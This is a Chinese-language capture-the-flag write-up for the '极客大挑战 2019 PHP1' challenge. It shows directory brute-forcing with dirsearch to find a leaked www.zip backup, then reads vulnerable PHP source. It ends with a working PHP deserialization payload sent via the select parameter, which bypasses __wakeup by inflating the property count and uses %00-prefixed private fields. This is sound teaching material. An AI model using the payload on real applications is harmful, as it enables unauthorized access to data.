[极客大挑战 2019]PHP1
1. 进去发现网页做的挺有意思的,是一张用毛线球逗猫的网页,尝试老办法单击右键查看源代码,无果(因为没有),于是仔细观察网页,发现关键信息---备份网页
2. 发现文件备份,所以准备把网站的目录给爆破出来,使用dirsearch
3. dirsearch的下载、安装以及使用
下载地址
https://github.com/maurosoria/dirsearch
点击Download here
之后将下载的文件压缩放在自己想放在的地方(为了方便,我选择把它放在桌面上)
注意,安装的python得是3.7及其以上版本(没有python的先安装python)
之后在当前窗口(你的dirsearch文件)直接输入cmd
接着使用命令安装dirsearch
pip3 install -r requirements.txt
可能会出现以下错误提示
上面指出应该给pip3升级,所以我们根据提示给pip3进行升级
python -m pip install --upgrade pip
pip3更新成功,出现successful字样,之后继续进行dirsearch安装代码
pip3 install -r requirements.txt
可能还会出现
解决办法,关闭代理服务器,然后再执行dirsearch安装命令
pip3 install -r requirements.txt
可喜可贺,dirsearch安装成功
4. 使用爆破工具dirsearch下载网页目录得到正确的压缩安装包,找到代码进行分析
python dirsearch.py -u (自己需要爆破的网址) -e (语言)
5. 出现一大堆各种各样文件,就算知道常用压缩文件名以及压缩文件名后缀也无法快速找出,这时,不妨来设计一段python代码,让符合常用压缩文件名和文件名后缀的文件在网址中遍历,最终只会得到一个可以访问网址的文件
注意,由于代码判断需要requests库,所以要进行安装
pip install requests
发现只有www.zip进行成功访问
6. 在原网址后面加上www.zip下载压缩包
对压缩包进行解压
7. 发现一个flag.php文件,打开
<?php
$flag = 'Syc{dog_dog_dog_dog}';
?>
输入flag,发现是错误的
8. 打开index.php文件看看
发现一段php代码
里面加载了一个class.php文件,然后采用get传递一个select参数,随后将之反序列化
8. 接着打开class.php文件
<?php
include 'flag.php';error_reporting(0);class Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;}function __wakeup(){$this->username = 'guest';}function __destruct(){if ($this->password != 100) {echo "</br>NO!!!hacker!!!</br>";echo "You name is: ";echo $this->username;echo "</br>";echo "You password is: ";echo $this->password;echo "</br>";die();}if ($this->username === 'admin') {global $flag;echo $flag;}else{echo "</br>hello my friend~~</br>sorry i can't give you the flag!";die();}}
}
如果password=100,username=admin,在执行__destruct()的时候可以获得flag,所以我们需要达成这些要求
9. 构造序列化
在代码后面加上
<?phpclass Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;}
}
$a = new Name('admin', 100);
var_dump(serialize($a));?>
10. 通过warmserver服务器运行得(可以在PHP菜鸟教程了解)
我将序列化后的文件class.php放在warmsecer文件下新建的class文件下,在浏览器上访问得
11. 又因为在反序列化的时候,要执行_wakeup()魔方函数,导致username=guest
function __wakeup(){$this->username = 'guest';}
所以我们要要绕过这个函数,则让name大于2即可
于是得
O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
12. 又因为,username为private
private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上0的前缀。字符串长度也包括所加前缀的长度
所以得
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
13. 最后又发现index.php中get select
所以在网址后加上
select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
就可以得到flag
[极客大挑战 2019]PHP1相关推荐
- BUUCTF-web [极客大挑战 2019]PHP1 之 反序列化漏洞
PHP反序列化漏洞 一,什么是序列与反序列 序列就是把数据转成可逆的数据结构,目的是方便数据的储存和传输,反序列就是将数据逆转成原来的状态,序列就是拆数据,使得传输或储存更容易的过程,反序列就是重新拼 ...
- BUUCTF-web [极客大挑战 2019]PHP1
显示有个备份网址 使用了dirbuster工具爆破,这个工具自带字典,以及可以直接爆破. dirb.dirsearch也用了. 找到了www.zip压缩包. 随后开始今天的踩坑 ...
- [极客大挑战 2019]PHP1-原创超详细
[极客大挑战 2019]PHP1 提示:有一个良好的备份网站的习惯 寻找一个备份文件字典,我在github上找的: scopion/dic: 渗透字典,框架信息泄露,备份文件泄露,配置文件泄露.字典 ...
- [BUUCTF-pwn]——[极客大挑战 2019]Not Bad(ORW)(内涵peak小知识)
[BUUCTF-pwn]--[极客大挑战 2019]Not Bad 又是一道收获满满的题目. peak小知识 seccomp: seccomp是一种内核中的安全机制,正常情况下,程序可以使用所有的sy ...
- BUUCTF Web [极客大挑战 2019]Havefun
「作者主页」:士别三日wyx 此文章已录入专栏<网络攻防>,持续更新热门靶场的通关教程 「未知攻,焉知收」,在一个个孤独的夜晚,你完成了几百个攻防实验,回过头来才发现,已经击败了百分之 ...
- BUUCTF Web 极客大挑战 2019 EasySQL
BUUCTF Web 极客大挑战 2019 EasySQL 文章目录 BUUCTF Web 极客大挑战 2019 EasySQL 1,输入万能密码: 2,输入万能账号 首先有点常识: 正常SQL语句这 ...
- [极客大挑战 2019]FinalSQL
[极客大挑战 2019]FinalSQL 依次点击5个页面 到最后一个页面发现提示尝试第6个页面,观察到url中的id,输入6得到 有参数,尝试单引号 提示error 那么应该存在sql注入,尝试永真 ...
- BUUCTF Web [GXYCTF2019]Ping Ping Ping [极客大挑战 2019]LoveSQL [极客大挑战 2019]Knife [极客大挑战 2019]Http
目录 [GXYCTF2019]Ping Ping Ping [极客大挑战 2019]LoveSQL [极客大挑战 2019]Knife [极客大挑战 2019]Http [GXYCTF2019]Pin ...
- BUUCTF——web([GXYCTF2019]Ping Ping Ping、[极客大挑战 2019]Knife、[极客大挑战 2019]Http)
BUUCTF-web [GXYCTF2019]Ping Ping Ping 做题思路 [极客大挑战 2019]Knife 做题思路 [极客大挑战 2019]Http 做题思路 [GXYCTF2019] ...
最新文章
- MySQL 视图技术
- 第十五周程序阅读-范型程序设计(4)
- NIO详解(三):IO多路复用模型之select、poll、epoll
- Vue 单文件组件||Vue 单文件组件的基本用法||webpack 中配置 vue 组件的加载器|| 在 webpack 项目中使用 vue
- C语言实现文件读取矩阵乘法
- CF-1238E. Keyboard Purchase (状压dp)
- 设有n个正整数,将它们排成一排,组成一个最大的多位整数
- 计算机硬件相关名词,计算机硬件基础名词解释
- 计算机动画分为关键帧动画和,一个最简单的动画最少有几个关键帧
- 信息学奥赛一本通C++语言——1063:最大跨度值
- 一文看懂JUC之AQS机制
- python自学网站-python自学网站
- Egret入门学习日记 --- 第十七篇(书中 7.4~8.2节 内容)
- Installing third-party firmware on x3-55 letv (by quqi99)
- switchHosts 介绍
- mysql 面试题 总结
- 惠普2t服务器硬盘,HP DL388 Gen8系列服务器硬盘超过2T的分区方法
- 零遁NAS伴侣实现WOL远程唤醒
- LaTeX如何输出反斜杠 \
- redmi k60参数 红米k60怎么样 redmi k60优缺点